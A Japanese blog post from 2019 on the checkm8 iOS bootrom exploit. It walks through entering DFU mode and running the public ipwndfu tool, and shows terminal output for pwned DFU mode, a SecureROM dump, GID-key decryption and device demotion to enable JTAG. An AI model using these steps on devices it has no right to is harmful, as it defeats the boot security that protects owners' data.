+++ date = "2019-09-28" tags = ["ios"] title = "ios bootrom exploit [checkm8]" slug = "ios" +++ ## checkm8 iosのbootrom(多分、boot領域のことだと思う)で実行可能なexploitが公開されています。名前は`checkm8`です。最新のバージョン及び幅広いデバイスで有効です。なお、私はiosのjailbrackにあまり詳しくありません。iosのjailbrackは必要性を感じなかったので、実はやったことがありません。 ただ、手持ちのipadをjailbrackとかdowngradeする必要が出てくるかもしれませんので、`checkm8`には注目しています。 https://github.com/axi0mX/ipwndfu このexploitを実行するには、`ipwndfu`を使います。 まず端末をPCにDFUで接続します。DFUは、端末が真っ黒な画面の上で、復元のみ可能となるモードのことです。リカバリモードと混同しないように。混同が見られる記事が多数ありました。 私の端末では、電源ボタンを離してホームボタンを推し続けることで、DFUに移行します。iTunesでは以下のような画面となります。 ![](https://raw.githubusercontent.com/syui/img/master/old/ios_ipwndfu_checkx8_01.png) ![](https://raw.githubusercontent.com/syui/img/master/old/ios_ipwndfu_checkx8_02.png) `checkm8`のexampleを実行してみました。 ```sh $ git clone https://github.com/axi0mX/ipwndfu $ cd ipwndfu $ ./ipwndfu USAGE: ipwndfu [options] Interact with an iOS device in DFU Mode. Basic options: -p USB exploit for pwned DFU Mode -x install alloc8 exploit to NOR -f file send file to device in DFU Mode Advanced options: --demote demote device to enable JTAG --dump=address,length dump memory to stdout --hexdump=address,length hexdump memory to stdout --dump-rom dump SecureROM --dump-nor=file dump NOR to file --flash-nor=file flash NOR (header and firmware only) from file --24kpwn install 24Kpwn exploit to NOR --remove-24kpwn remove 24Kpwn exploit from NOR --remove-alloc8 remove alloc8 exploit from NOR --decrypt-gid=hexdata AES decrypt with GID key --encrypt-gid=hexdata AES encrypt with GID key --decrypt-uid=hexdata AES decrypt with UID key --encrypt-uid=hexdata AES encrypt with UID key $ ./ipwndfu -p Found: CPID:8960 CPRV:11 CPFM:03 SCEP:01 BDID:00 ECID:XXXXXXXXX IBFL:1C SRTG:[iBoot-1704.10] PWND:[checkm8] Device is now in pwned DFU Mode. $ ./ipwndfu --dump-rom Saved: SecureROM-XXXXXXX-XXXXXXX-RELEASE.dump # ここでdumpしたものはネットにuploadしないように大切に保管しましょう $ ./ipwndfu --decrypt-gid KEYBAG Decrypting with XXXXXXX GID key. $ ./ipwndfu --demote Demotion register: 0xXXXXXXXX Attempting to demote device. Demotion register: 0xXXXXXXXX Success! ``` 参考 [https://twitter.com/axi0mX/status/1177542201670168576](https://twitter.com/axi0mX/status/1177542201670168576) [https://news.ycombinator.com/item?id=21091219](https://news.ycombinator.com/item?id=21091219) [https://arstechnica.com/information-technology/2019/09/developer-of-checkm8-explains-why-idevice-jailbreak-exploit-is-a-game-changer/](https://arstechnica.com/information-technology/2019/09/developer-of-checkm8-explains-why-idevice-jailbreak-exploit-is-a-game-changer/)